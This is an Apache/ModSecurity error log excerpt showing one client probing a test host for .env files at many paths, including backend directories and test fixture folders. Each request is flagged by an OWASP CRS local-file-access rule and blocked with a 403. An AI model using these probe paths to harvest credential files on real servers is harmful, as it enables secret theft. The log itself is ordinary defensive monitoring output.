[Wed Feb 25 06:05:32.682915 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /routes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRAAAAAA&quot;]
[Wed Feb 25 06:05:32.683151 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRAAAAAA&quot;]
[Wed Feb 25 06:05:32.683306 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRAAAAAA&quot;]
[Wed Feb 25 06:05:32.710622 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /run/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRQAAAAA&quot;]
[Wed Feb 25 06:05:32.710891 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRQAAAAA&quot;]
[Wed Feb 25 06:05:32.711054 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRQAAAAA&quot;]
[Wed Feb 25 06:05:32.762825 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/instancewithdependentsteps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0QAAAAc&quot;]
[Wed Feb 25 06:05:32.763105 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0QAAAAc&quot;]
[Wed Feb 25 06:05:32.763285 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0QAAAAc&quot;]
[Wed Feb 25 06:05:32.803469 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRgAAAAA&quot;]
[Wed Feb 25 06:05:32.803740 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRgAAAAA&quot;]
[Wed Feb 25 06:05:32.803926 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRgAAAAA&quot;]
[Wed Feb 25 06:05:32.813543 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptintegrationproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0gAAAAc&quot;]
[Wed Feb 25 06:05:32.813816 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0gAAAAc&quot;]
[Wed Feb 25 06:05:32.813986 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0gAAAAc&quot;]
[Wed Feb 25 06:05:32.851593 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0wAAAAc&quot;]
[Wed Feb 25 06:05:32.851854 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0wAAAAc&quot;]
[Wed Feb 25 06:05:32.852023 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0wAAAAc&quot;]
[Wed Feb 25 06:05:32.879637 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/dao/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRwAAAAA&quot;]
[Wed Feb 25 06:05:32.879880 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRwAAAAA&quot;]
[Wed Feb 25 06:05:32.880035 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibRwAAAAA&quot;]
[Wed Feb 25 06:05:32.921122 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptvisualizeproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1AAAAAc&quot;]
[Wed Feb 25 06:05:32.921379 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1AAAAAc&quot;]
[Wed Feb 25 06:05:32.921549 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1AAAAAc&quot;]
[Wed Feb 25 06:05:32.983680 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s-with-me-front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibSAAAAAA&quot;]
[Wed Feb 25 06:05:32.983940 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibSAAAAAA&quot;]
[Wed Feb 25 06:05:32.984115 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibSAAAAAA&quot;]
[Wed Feb 25 06:05:32.989127 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/add-auth/express/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1QAAAAc&quot;]
[Wed Feb 25 06:05:32.989365 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1QAAAAc&quot;]
[Wed Feb 25 06:05:32.989533 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY1QAAAAc&quot;]
[Wed Feb 25 06:05:33.014356 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/assembly/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1gAAAAc&quot;]
[Wed Feb 25 06:05:33.014609 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1gAAAAc&quot;]
